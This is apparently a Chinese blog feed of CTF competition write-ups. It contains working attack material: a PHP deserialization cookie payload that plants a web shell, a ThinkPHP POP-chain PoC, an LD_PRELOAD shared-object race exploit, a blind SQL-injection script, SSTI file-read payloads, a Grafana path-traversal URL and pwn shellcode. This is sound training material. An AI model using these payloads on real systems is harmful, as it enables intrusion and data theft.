DASCTF{5521a971-9bed-11ef-bfda-14ac6024b6a8}

]]>

2025浙江省信息通信协会数据安全大赛决赛WriteUp

Sun, 17 Aug 2025 15:39:50 +0800

初赛忘了保存，翻了下文件，决赛的附件题就记得几道，其他的都是在线的，没写wp

决赛做出来个人赛几题（secret、大浪淘金方显英雄本色，其他的就忘记了），个人赛能进前7吧。团队赛两个场景题，各有10个flag，工控环境和测试环境。分别外网打内网打到里面好几层，做代理链之类，很可惜，没做出来后面的。第二个场景要制作字典爆破密码，由于进入后台也没成功写文件，这里就不写了，我做的都是简单的，其他wp是来自QK的

相关附件在：https://github.com/TajangSec/2025_ZJ_TGJ_competition

个人赛#

勒索病毒#

检查mysql binlog文件，在binlog.000003中有flag

命令：cat /var/lib/mysql/binlog.000003

secret#

V20xNGFGb3pkR3RaV0ZKb1dETk9iRmt6Vm5saFdGSTFXREpzZWxneldteGpibXhtWVZjMU1GcFlTbXhqTTFKd1ltMWtPUT09

三次base64

大浪淘金方显英雄本色#

每种类型文件都被植入了恶意代码或错误代码，请找出，拼接文件名，md5编码后为flag

要求：Hint2：拼接顺序遵循txt>png>pdf的原则，同种⽂件遵循⾸字⺟⼤写>⾸字⺟⼩写>⾸字⺟数字，a-z/0-9的顺序 Hint3：示例：xxxx.txt,xxxx.png,xxxx.pdf

做完两边还在问我><

我电脑有河马查杀，所以扫了一下直接出来5个含有一句话的png

txt是一个个看的

pdf是很多人搞不出来的地方，这里并不是pdf内容有恶意代码

我用的exiftool .，然后搜索id时，发现了invalid，总共有五个文件有这个提示

所以这五个就出来了，没想到这题很多人没做出来。

贴一下QK的这题解法

txt: 用cat * ,然后人肉找

异常字符有：

紫薇小区42号

625311200504206457

15522489864

李丽华

png：用strings可以找到一句话木马

pdf: 用acrobat预览，会发现有5个文件没有预览图

预览图，离谱

运维题（QK太强了）#

这题真不会

查看/etc/passwd，发现恶意用户badguy，但是删不掉

根据给的提示查看/etc/ld.so.preload

发现libhash.so，cat一下发现关键字sysproc

将/etc/ld.so.preload、libhash.so删除，再ps -ef查看进程，可以发现sysproc（未删除前面两个文件时该进程不可见）

将sysproc kill掉，找到文件所在位置，删除文件

随后删除badguy

再次查看check文件时已经有flag了（这里我还盲删了/root/.ssh，但猜测应该和本题关系不大）

团队赛#

WEB1#

访问www.zip下载源代码，审计代码

 1php
 2header("content-type:text/html;charset=utf-8");
 3include("lib/manager.php");
 4
 5// 配置项
 6define('AUTH_USER', 'admin');
 7define('AUTH_PASS', 'admin@123');
 8define('SESSION_COOKIE', 'portal_session');
 9
10$userInput = isset($_POST['user']) ? $_POST['user'] : die('Access denied: username required');
11$passInput = isset($_POST['pass']) ? $_POST['pass'] : die('Access denied: password required');
12
13if($userInput === AUTH_USER && $passInput === AUTH_PASS) {
14    echo '';
15    echo "Industrial Control Portal
";
16    echo "Authenticated as: " . htmlspecialchars($userInput) . "
";
17
18    if(!isset($_COOKIE[SESSION_COOKIE])) {
19        $sessionObj = new PortalUser(AUTH_USER);
20        $encodedData = base64_encode(serialize($sessionObj));
21        setcookie(SESSION_COOKIE, $encodedData, time()+3600, "/", "", false, true);
22        echo "Session initialized
";
23    } else {
24        $serializedData = base64_decode($_COOKIE[SESSION_COOKIE]);
25        unserialize($serializedData);
26    }
27
28    echo '
29            Device Monitoring
30            Connected devices: 15
31            Firmware version: v3.1.2
32          
';
33} else {
34    echo "";
35}
36?>

auth.php

php

这部分代码表示当用户名密码正确时，会将cookie中的portal_session字段进行反序列化

接下来寻找可执行命令的类，由于auth.php在头部加载了manager.php，重点检查manager.php，找到执行代码类

 1php
 2include("logger.php");
 3
 4class AccessGreeter {
 5    public $greetingCallback;
 6
 7    public function handleAccess($visitor) {
 8        if(isset($this->greetingCallback)) {
 9            call_user_func($this->greetingCallback, $visitor);
10        } else {
11            echo "Access granted for " . htmlspecialchars($visitor);
12        }
13    }
14}
15
16class PortalUser {
17    private $userIdentifier;
18    private $accessHandler;
19
20    public function __construct($identifier, $handler = null) {
21        $this->userIdentifier = $identifier;
22        $this->accessHandler = $handler ? $handler : new AccessGreeter();
23    }
24
25    public function __destruct() {
26        $this->accessHandler->handleAccess($this->userIdentifier);
27    }
28}
29
30class EquipmentInterface {
31    public $deviceCode;
32    public $operation;
33
34    public function __wakeup() {
35        if(isset($this->operation)) {
36            call_user_func($this->operation, $this->deviceCode);
37        }
38    }
39}
40?>

manager.php

php

最后构造反序列化

1O:18:"EquipmentInterface":2:{s:10:"deviceCode";s:41:"echo "($_POST[1]);?>" > 111.php";s:9:"operation";s:6:"system";}

bash

写入cookie执行，完成种马

蚁剑连接，在c:\users\administrator\desktop下找到flag

]]>

听听你的声音-音频类Misc

Fri, 16 Aug 2024 17:01:37 +0800

题目附件：https://wwaw.lanzoub.com/iXguU27kjmlc

很少见到音频杂项，记录一下

所用工具：

MP3Stego（用于提取mp3音频文件的关键信息）：https://github.com/fabienpe/MP3Stego

silenteye（用于LSB音频隐写）：https://github.com/TajangSec/silenteye

打开附件，总共有两个音频

part1.wav里是丁真，雪豹！

part2.mp3里是一段音乐

频谱图里没有明显的暗示信息，比如高低频率代表0、1之类

这里使用silenteye提取part1.wav的信息

得到

1++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>++++.<++++++++.---.<<<<.>>>>++++++.------.>+++++.<<<<<.>>>>++++.>------.<<<<<.>>>>-----.+++++.+++++.-------.>>------.<<+.---.>-----.

bash

明显是brainfuck编码，解码后得到

the key is dingzhen

密码是dingzhen

丁真！

使用MP3Stego工具通过获得的密码解密part2.mp3文件

1.\Decode.exe -X -P dingzhen part2.mp3

bash

会在目录内生成一个part2.mp3.txt文件，里面就是flag：flag{Let_us_keep_1t_s1mp!e}

]]>

第十五届全国大学生信息安全竞赛部分WriteUp

Sun, 29 May 2022 22:32:43 +0800

做了10个，都是烂大街的题目，分数很低。CTF榜单186，以为稳进分区赛了。理论题算上变一千五百多名，华东南二百多名，进不去了，WriteUp也不想上传了。

Crypto#

不是密码选手，但密码非预期搞出来几个

签到电台#

关注公众号给的提示“弼时安全到达了”，查找这几个字的中文电码，然后和题目给的密码本里的前28位密码逐位相加除以10取余。如下：

把取余后的，去掉空格后传入msg就行：/send?msg=

ISO9798#

nc上之后，会给一个sha256之后的字符串，和部分明文，让求出前四位，用以下脚本即可得到前四位

 1from hashlib import *
 2hash='加密后的'
 3sss='部分明文'
 4table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 5for ch1 in table:
 6    for ch2 in table:
 7        for ch3 in table:
 8            for ch4 in table:
 9                hashvalue=sha256((ch1+ch2+ch3+ch4+sss).encode()).hexdigest()
10                if hashvalue==hash:
11                    print(ch1+ch2+ch3+ch4)
12                    quit()

python

求出前四位后，填入。然后会要求输入128字节的数字串，这里随便输入就行，然后返回一个96位字节的字符串。将这个字符串每32位分成一段，总共三段分别为rA、rB、B，然后将rB和rA拼接后传入。举个例子，这个96长度的字符串为112233，传入2211即可，传入后就出flag

基于挑战码的双向认证#

读了半天文档，就是让补全功能验证模块，我不会，也看不懂那个C语言。ssh连接：ssh player@IP -p port，密码也是player，连上后乱翻目录翻到了root发现能进去，闲的没事翻来翻去，然后找到了flag，如下

1cd /root/cube-shell/instance/flag_server
2cat flag1.txt
3cat flag2.txt

bash

基于挑战码的双向认证2#

flag就是上面那个flag2

基于挑战码的双向认证3#

放这题的时候，官方好像发现了前两道没做权限验证的点。于是这个题加了权限验证，找到flag无法查看，这里本来没有思路，提权也失败。在尝试获取root权限时，su指令切换用户，尝试了很多密码，自己的kali默认密码是toor，于是就试了一下，没想到成功了。然后直接查看flag2就行，这个系列出的很奇怪，预期就是补全客户端的验证模块，几个朋友也是预期做的。但是这个非预期太简单了，几道题没啥意义了，出得很奇怪

Web#

Ezpop#

参考这个https://www.freebuf.com/vuls/321546.html

把脚本里的Poc里dir命令改成cat /flag.txt即可，如下

 1php
 2namespace think{
 3    abstract class Model{
 4        private $lazySave = false;
 5        private $data = [];
 6        private $exists = false;
 7        protected $table;
 8        private $withAttr = [];
 9        protected $json = [];
10        protected $jsonAssoc = false;
11        function __construct($obj = ''){
12            $this->lazySave = True;
13            $this->data = ['whoami' => ['cat /flag.txt']];
14            $this->exists = True;
15            $this->table = $obj;
16            $this->withAttr = ['whoami' => ['system']];
17            $this->json = ['whoami',['whoami']];
18            $this->jsonAssoc = True;
19        }
20    }
21}
22namespace think\model{
23    use think\Model;
24    class Pivot extends Model{
25    }
26}
27
28namespace{
29    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
30}

php

输出结果base64解码，然后Urlencode，结果传给a参数以POST方式请求给index.php/index/test路由

示例图如下：

Misc#

ez_usb#

筛选usb.src=="2.8.1"导出特定分组为1.pcapng，筛选usb.src=="2.10.1"导出特定分组为2.pcapng

然后用UsbKeyboardDataHacker.py解析1.pcapng

得到的字符串去掉，然后去掉以及前面的字母c，因为DEL代表删除，前面一个字母输入也被删了。然后剩下的字符串，通过如下脚本转存为rar文件，我用HEX编辑器转存的rar打不开，不知道啥原因

1import binascii
2
3hex_data = '字符串'
4out = open('输出的rar路径', 'wb')
5out.write(binascii.unhexlify(hex_data))
6out.close()

python

这个压缩包需要密码，而密码就是用UsbKeyboardDataHacker.py解析2.pcapng得到的字符串

输入密码即可得到flag

问卷调查#

填写完因为官方没买会员，人家不给交，哈哈哈笑死了。然后官方应该是买了，提交问卷就给flag

Pwn#

exp：

 1from pwn import*
 2context.log_level = "debug"
 3io = remote("ip","port")
 4
 5io.recv()
 6shellcode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
 7payload = "opt:1\n" + "msg:ro0t1\n"
 8io.sendline(payload)
 9payload = "opt:2\n" + "msg:" + shellcode + "\n"
10io.sendline(payload)
11io.interactive()

python

注意一下shellcode写法就行

Reverse#

baby_tree#

文本打开文件，把值拿出来就行。看就行了跟swift一样硬看，可惜那个没看出来，赛后和朋友交流发现写法有很多，这里只放一个python写的

 1res=[88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,
 2     130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
 3key=[ord(c) for c in "345y"]
 4
 5def my_encode(data,key):
 6    b=data
 7    k=key
 8    for i in range(len(b)-4+1):
 9        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
10        b[i]=r2^((k[0]+(r0>>4))&0xff)
11        b[i+1]=r3^((k[1]+(r1>>2))&0xff)
12        b[i+2]=r0^k[2]
13        b[i+3]=r1^k[3]
14        k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]
15    return b==res
16
17def my_decode(data,key):
18    b=data
19    k=key
20    k[0], k[1], k[2], k[3] = k[2], k[3], k[0],k[1]
21    for i in range(38,-1,-1):
22        r1=b[i+3]^k[3]
23        r0=b[i+2]^k[2]
24        r3=b[i+1]^((k[1]+(r1>>2))&0xff)
25        r2=b[i]^((k[0]+(r0>>4))&0xff)
26        k[1], k[2], k[3], k[0] = k[0], k[1], k[2], k[3]
27        b[i], b[i + 1], b[i + 2], b[i + 3] = r0, r1, r2, r3
28    print("".join(chr(i) for i in b))
29
30my_decode(res,key)

python

flag为：flag{30831242-56db-45b4-96fd-1f47e60da99d}

做了十个，解决50%，没进分区赛很烦。理论题这种设定让人想开个泥头车创创设计者！

]]>

2022虎符CTF WEB赛后复现

Thu, 24 Mar 2022 22:05:00 +0800

1、ezphp#

参考Jacko师傅的这篇虎符CTF ↗

写的已经很详细了，先简单梳理一下题目，题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令 ↗ 。简单来说就是不同的系统，他的system命令调用的命令不同。

php中调用system本质上是调用了sh -c，在不同操作系统中：

debian：sh→dash
centos：sh→bash

总结：

BASH_ENV：可以在bash -c的时候注入任意命令
ENV：可以在sh -i -c的时候注入任意命令
PS1：可以在sh或bash交互式环境下执行任意命令
PROMPT_COMMAND：可以在bash交互式环境下执行任意命令
BASH_FUNC_xxx%%：可以在bash -c或sh -c的时候执行任意命令

题目就是P师傅没解决的debian系统

而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI ↗

Nginx对于请求的body内容会以临时文件的形式存储起来

大概思路是：

请求一个过大的body，会在/proc/self/fd目录下生成临时文件
传一个填满大量脏数据的so文件
竞争LD_PRELOAD包含 proc 目录下的临时文件

这是生成so的源文件

1#include 
2#include 
3#include 
4
5__attribute__ ((__constructor__)) void preload (void){
6  unsetenv("LD_PRELOAD");
7  system("id");
8  system("cat /flag > /var/www/html/flag");
9}

注意，在代码里加许多无用代码，我加了两万行的

1a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;

如图

使用以下命令编译生成so文件

1gcc -shared -fPIC hook_exp.c -o hook_exp.so

bash

后来生成的恶意so文件有163kb

接下来就是竞争脚本，注意url和恶意so文件的路径。

 1import requests
 2import _thread
 3
 4f=open("hook_exp.so",'rb')
 5data=f.read()
 6url="http://localhost:12333/"
 7
 8def upload():
 9    print("start upload")
10    while True:
11        requests.get(url+"index.php",data=data)
12
13def preload(fd):
14    while True:
15        print("start ld_preload")
16        for pid in range(10,20):
17            file = f'/proc/{pid}/fd/{fd}'
18            # print(url+f"index.php?env=LD_PRELOAD={file}")
19            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
20            # print(resp.text)
21            if 'uid' in resp.text:
22                print("finished")
23                exit()
24
25try:
26    _thread.start_new_thread(upload, ())
27    for fd in range(1, 20):
28        _thread.start_new_thread(preload,(fd,))
29except:
30    print("error")
31
32while True:
33    pass

python

当脚本运行出现finished，直接url访问、flag就会自动下载flag

2、Babysql#

这里直接搬运Jacko师傅的，我没搞出来

hint.md

 1```sql
 2CREATE TABLE `auth` (
 3  `id` int NOT NULL AUTO_INCREMENT,
 4  `username` varchar(32) NOT NULL,
 5  `password` varchar(32) NOT NULL,
 6  PRIMARY KEY (`id`),
 7  UNIQUE KEY `auth_username_uindex` (`username`)
 8) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
 9```
10
11```js
12import { Injectable } from '@nestjs/common';
13import { ConnectionProvider } from '../database/connection.provider';
14
15export class User {
16  id: number;
17  username: string;
18}
19
20function safe(str: string): string {
21  const r = str
22    .replace(/[\s,()#;*\-]/g, '')
23    .replace(/^.*(?=union|binary).*$/gi, '')
24    .toString();
25  return r;
26}
27
28@Injectable()
29export class AuthService {
30  constructor(private connectionProvider: ConnectionProvider) {}
31
32  async validateUser(username: string, password: string): Promise<User> | null {
33    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
34    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
35    const user = rows[0];
36    if (user && user.password === password) {
37      // eslint-disable-next-line @typescript-eslint/no-unused-vars
38      const { password, ...result } = user;
39      return result;
40    }
41    return null;
42  }
43}

sql

这道题出得挺好的

首先看代码逻辑，先对输入的username进行查询，如果有，则用输入的password同查询出来的比较

看了这个首先想到的当然是union select，然而这里过滤了，当然这个过滤是绕不了的，双写不行，这里存在就把这个字符串替空，而不只是union

再看看hint中的regexp，在过滤了()的前提下，regexp确实是个好函数

就想着能不能通过regexp把用户名密码匹配出来，想到了盲注

然而，盲注并非易事，这里不管有没有查询出结果，只要没拿到最终的用户名密码之前，都返回null，这就无法进行布尔盲注了

那有没有可能进行时间盲注呢？没有括号，这里调用不了像sleep()之类的函数，哎？再结合regexp，会不会正则匹配进行延时，然而并没有想象这么简单，进过本地一番测试发现，一延时mysql直接报Timeout了，没法利用

然而就在没思绪地用regexp测试的时候，发现当regexp传入不合语法匹配规则的时候会报错，报错？这不是可以用报错进行布尔盲注了吗？

这时候刷新一下题目信息，还是零解，赶紧冲！

说干就干，经过几番优化之后，构造出来

1SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;

sql

构造是构造出来了，其中1为布尔点，然而当我换成regexp的时候出问题了

1SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;

sql

我原以为当前面匹配的时候，就不会执行后面错误的正则匹配了，然而我错了，regexp的语法检查是在查询判断之前进行的

后面换了其他一些报错的方法，最后发现通过整型溢出可以成功

1SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;

sql

当匹配的时候为真，溢出报错，不匹配的时候正常不报错

现在问题就变成了怎么去掉括号，加法的优先级高过regexp，并不是随随便便可以去掉的，这里也想了很久，最后用case来解决了这个问题

1SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;

sql

这里有几个点：

username和regexp之间怎么隔开？这里把username用反引号引起来
when和then怎么隔开？这里用了字符的强转型
then后的1和else怎么隔开？这里加多一个空字符
最后end怎么闭合后面的单引号？这里加多一个**||**

这些可能都是一些看到了payload觉得很简单，然而真正亲手尝试的时候会遇到各种各样的坑

后面就是脚本了，同样也并不顺利，和队友交流了之后还是花了好久，不过最终还是做出来了

特殊字符怎么办？用反引号进行转义
大小写怎么区分？用COLLATE utf8mb4_bin

直接上脚本

 1import requests
 2url='http://xxx/login'
 3flag=''
 4for i in range(1,50):
 5    for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
 6        temp=ascii
 7        if(temp in '^!?$'):
 8            temp="\\\\\\"+temp
 9        payload={
10            'password':'xxx',
11            'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
12        }
13        response=requests.post(url=url, data=payload)
14        print(payload)
15        print(response.text)
16        if '500' in response.text:
17            flag+=temp
18            print(flag)
19            break
20        print(ascii)

python

跑出用户名密码直接登陆就可以了

3、Baby Router Updater和4、ezchain，一个杂揉了web、crypto、misc、reverse，一个Java，我不会

]]>

2021NUAACTF WriteUp

Sat, 11 Dec 2021 23:46:35 +0800

拿了三等奖的奖金，这学期不打了，作业太多了

pwn#

format#

通过分析发现flag 放在buf指向的地址处!

直接爆破

 1from pwn import *
 2import time
 3n=1
 4while 1:
 5	try:
 6		p=remote("118.195.147.196",9238)
 7		p.sendline('%'+str(n)+'$s')
 8		print(n)
 9		d=p.read()
10		if b'flag' in d:
11			print(n,d)
12			break
13		print(d)
14	except:
15		pass
16	n=n+1

python

thread#

乱按就出了，视频为证，视频放压缩包里了

web#

真的签到#

百度到CVE-2021-43798 payload:/public/plugins/welcome/../../../../../../../../home/grafana/flag

hackbar传，好像前端处理了，把../搞没了，所以BP发包

baby_python#

前端应该做处理了看不见回显，使用BurpSuite {% raw %} 传入{{self}}，返回模板数据

常规了self.__class__.__base__.__subclasses__()

查看type类的初始化方法，传入{{self.__class__.__base__.__subclasses__()[0].__init__}}：

{% endraw %} 后面就是常规payload了，跑一下ls有文件名就直接获取了

1?name={ {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('flllll11111114aaaaaggggggggggggg').read()} }

text

注：上面代码块的花括号{与相邻花括号{之间不应该有空格，尾部的花括号同理。我加了空格是避免与Nunjucks的标签冲突所引起的解析错误。

参考文章 ↗

Twister#

抓包，发现pick抓不到，是前端js代码，那就读代码，js里有提示jiami.v5，js混淆这没解开，强行读js，发现有个路径

访问啥都没有，抓下包，flag在返回信息里

misc#

baby_mix#

伪加密，09改成00 图片上边左边看到白条，应该是lsb stegsolve查看得到二维码扫码得到

14a5a4a584732544748424658515654514f4634575135435447564a4749564a5347463455595754564f464c444f5752594f56465751334b55474a345841324b494b4a3546495533594b524a4449524b454b35435753334c324f4a41564153534f48424756515243574d355a464d3543474a593d3d3d3d3d3d

text

十六进制转字符串

1JZJXG2TGHBFXQVTQOF4WQ5CTGVJGIVJSGF4UYWTVOFLDOWRYOVFWQ3KUGJ4XA2KIKJ5FIU3YKRJDIRKEK5CWS3L2OJAVASSOHBGVQRCWM5ZFM5CGJY======

text

base32

1NSsjf8KxVpqyhtS5RdU21yLZuqV7Z8uKhmT2ypiHRzTSxTR4EDWEimzrAPJN8MXDVgrVtFN

text

base58

1YXN1cml7aV90aGlua190aGF0X2lzX3NvX2Vhc3lfZm9yX3lvdX0=

text

base64

1asuri{i_think_that_is_so_easy_for_you}

text

medium#

解压有个key.wav文件，应该是密钥 audacity频谱看一下，得到密钥MudaMudaMudaMuda

strings看下图片，发现结尾有一串字符串

1RjAgOUYgOTkgODMgRjAgOUYgOTIgQjUgRjAgOUYgOEMgQkYgRjAgOUYgOEUgQTQgRjAgOUYgOUEgQUEgRjAgOUYgOEMgOEYgRjAgOUYgOTAgOEUgRjAgOUYgQTUgOEIgRjAgOUYgOUEgQUIgRjAgOUYgOTggODYgRTIgOUMgODUgRjAgOUYgOTggODAgRjAgOUYgQTQgQTMgRTIgOEMgQTggRjAgOUYgOTAgOEQgRTIgOTggODAgRjAgOUYgQTUgOEIgRjAgOUYgOTggODYgRjAgOUYgOTkgODMgRjAgOUYgOEUgODMgRjAgOUYgOTAgOTggRjAgOUYgOEQgOEQgRTIgOTggODIgRjAgOUYgOUEgQUEgRjAgOUYgOEMgQUEgRjAgOUYgOTIgQjUgRjAgOUYgOUEgQTggRTIgOEMgQTggRjAgOUYgOTggODEgRjAgOUYgOTQgQUEgRTIgOUMgOTYgRjAgOUYgOEUgODggRjAgOUYgOEMgOEYgRjAgOUYgOTQgODQgRjAgOUYgOTYgOTAgRjAgOUYgQTYgOTMgRjAgOUYgOEMgOEYgRjAgOUYgOTUgQjkgRjAgOUYgOTggOEQgRjAgOUYgOTEgOEMgRjAgOUYgOEMgODkgRjAgOUYgOTIgQjUgRjAgOUYgOEYgOEUgRjAgOUYgOUEgQUIgRjAgOUYgQTQgQTMgRjAgOUYgOTYgOTAgRjAgOUYgOTIgQTcgRjAgOUYgOEQgOEQgRjAgOUYgOEMgQkYgRjAgOUYgOTggOEQgRjAgOUYgOEQgOEUgRjAgOUYgOUEgQTggRjAgOUYgOTAgOEUgRjAgOUYgOTIgQjUgRjAgOUYgOEMgQkYgRjAgOUYgOEYgQjkgRjAgOUYgOEUgODUgRjAgOUYgOTkgODMgRjAgOUYgOTEgOTEgRjAgOUYgOTggODYgRTIgOTggODMgRjAgOUYgOTAgODUgRjAgOUYgOTUgQjkgRjAgOUYgOTggODcgRjAgOUYgOEYgQjkgRjAgOUYgOEYgQjkgRjAgOUYgOEQgQjUgRjAgOUYgOEUgODggRjAgOUYgOEQgOEUgRjAgOUYgQTQgQTMgRjAgOUYgOTggODEgRjAgOUYgOEQgOEQgRjAgOUYgOUEgQTggRjAgOUYgOEYgQjkgRjAgOUYgOTEgQTMgRjAgOUYgOTQgODQgRjAgOUYgQTQgQTMgRjAgOUYgOEUgODggRjAgOUYgOTggODIgRjAgOUYgOTAgOEQgRTIgOUMgODUgRjAgOUYgOTggODAgIEUyIDlDIDg1IEYwIDlGIDlBIEFBIEYwIDlGIDk4IDhFIEYwIDlGIDk4IDgwIEYwIDlGIDk3IDkyIEYwIDlGIDk3IDkyCg==

text

base64

1F0 9F 99 83 F0 9F 92 B5 F0 9F 8C BF F0 9F 8E A4 F0 9F 9A AA F0 9F 8C 8F F0 9F 90 8E F0 9F A5 8B F0 9F 9A AB F0 9F 98 86 E2 9C 85 F0 9F 98 80 F0 9F A4 A3 E2 8C A8 F0 9F 90 8D E2 98 80 F0 9F A5 8B F0 9F 98 86 F0 9F 99 83 F0 9F 8E 83 F0 9F 90 98 F0 9F 8D 8D E2 98 82 F0 9F 9A AA F0 9F 8C AA F0 9F 92 B5 F0 9F 9A A8 E2 8C A8 F0 9F 98 81 F0 9F 94 AA E2 9C 96 F0 9F 8E 88 F0 9F 8C 8F F0 9F 94 84 F0 9F 96 90 F0 9F A6 93 F0 9F 8C 8F F0 9F 95 B9 F0 9F 98 8D F0 9F 91 8C F0 9F 8C 89 F0 9F 92 B5 F0 9F 8F 8E F0 9F 9A AB F0 9F A4 A3 F0 9F 96 90 F0 9F 92 A7 F0 9F 8D 8D F0 9F 8C BF F0 9F 98 8D F0 9F 8D 8E F0 9F 9A A8 F0 9F 90 8E F0 9F 92 B5 F0 9F 8C BF F0 9F 8F B9 F0 9F 8E 85 F0 9F 99 83 F0 9F 91 91 F0 9F 98 86 E2 98 83 F0 9F 90 85 F0 9F 95 B9 F0 9F 98 87 F0 9F 8F B9 F0 9F 8F B9 F0 9F 8D B5 F0 9F 8E 88 F0 9F 8D 8E F0 9F A4 A3 F0 9F 98 81 F0 9F 8D 8D F0 9F 9A A8 F0 9F 8F B9 F0 9F 91 A3 F0 9F 94 84 F0 9F A4 A3 F0 9F 8E 88 F0 9F 98 82 F0 9F 90 8D E2 9C 85 F0 9F 98 80  E2 9C 85 F0 9F 9A AA F0 9F 98 8E F0 9F 98 80 F0 9F 97 92 F0 9F 97 92

text

hex转字符

1🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅😀🤣⌨🐍☀🥋😆🙃🎃🐘🍍☂🚪🌪💵🚨⌨😁🔪✖🎈🌏🔄🖐🦓🌏🕹😍👌🌉💵🏎🚫🤣🖐💧🍍🌿😍🍎🚨🐎💵🌿🏹🎅🙃👑😆☃🐅🕹😇🏹🏹🍵🎈🍎🤣😁🍍🚨🏹👣🔄🤣🎈😂🐍✅😀✅🚪😎😀🗒🗒

text

emoji-aes,加上密钥解出：flag{AES_1s_Gr3atS0_y0u_L1ke_1t_V3ry_Much}

questionnaire#

问卷调查，答案分别为

1Naijing University of Aeronautics and Astronautics
2都缺
3Asuri
4航空航天民航
5智周万物,道济天下
6辅导员审核
7将军路校区

text

asuri{baigei_h4ve_funnnn}

我们生活在南京（一）——穿越时空的电波#

音频放软件里反向播放，会听到一些英语单词，根据无线电英语字母发音表来写

RADIOWAVESACROSSTIME，

reverse#

IDA Start#

ida64打开，shift+F12

flag{St4rt_t0_u3e_IDA}

warm up#

拖IDA里看下逻辑，main函数里面有异或

然后main函数中先使用某个函数调用了另一个函数，这个函数里也有异或

解密脚本：

 1key=[ 0x56, 0x4E, 0x57, 0x58, 0x51, 0x51, 0x09, 0x46, 0x17, 0x46,
 2  0x54, 0x5A, 0x59, 0x59, 0x1F, 0x48, 0x32, 0x5B, 0x6B, 0x7C,
 3  0x75, 0x6E, 0x7E, 0x6E, 0x2F, 0x77, 0x4F, 0x7A, 0x71, 0x43,
 4  0x2B, 0x26, 0x89, 0xFE]
 5str=list("qasxcytgsasxcvrefghnrfghnjedfgbhn")
 6print(len(key))
 7str2=[0]*35
 8for i in range(0,33):
 9    str2[i]=ord(str[i])^2*i+65)
10flag=''
11for i in range(34):
12     flag+=chr(str2[i]^key[i])
13print(flag)

python

把输出的最后那个字符改成}就好了，不知道为啥这样，exp明明没问题

crypto#

checkin#

简单写个脚本

 1d='oclz{loovyd_vb_l_bvnucd_hqpumj}'
 2e=''
 3for i in d:
 4    if i  in "{}":
 5        continue
 6    for j in range(26):
 7            if ((j*11)%26)==(ord(i)-97):
 8                    e=e+chr(96+j)
 9                    print(e)
10                    break

python

最后结果加上下划线

easyRSA#

先提取c1、c2

1c2 = int(open('flag.enc2', 'rb').read().hex(), 16)
2c1 = int(open('flag.enc1', 'rb').read().hex(), 16)
3print(c1)
4print(c2)

python

共模攻击网上只找到了一个python2的脚本，

 1from libnum import n2s,s2n
 2from gmpy2 import invert
 3def egcd(a, b):
 4  if a == 0:
 5    return (b, 0, 1)
 6  else:
 7    g, y, x = egcd(b % a, a)
 8    return (g, x - (b // a) * y, y)
 9def main():
10  n = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929L
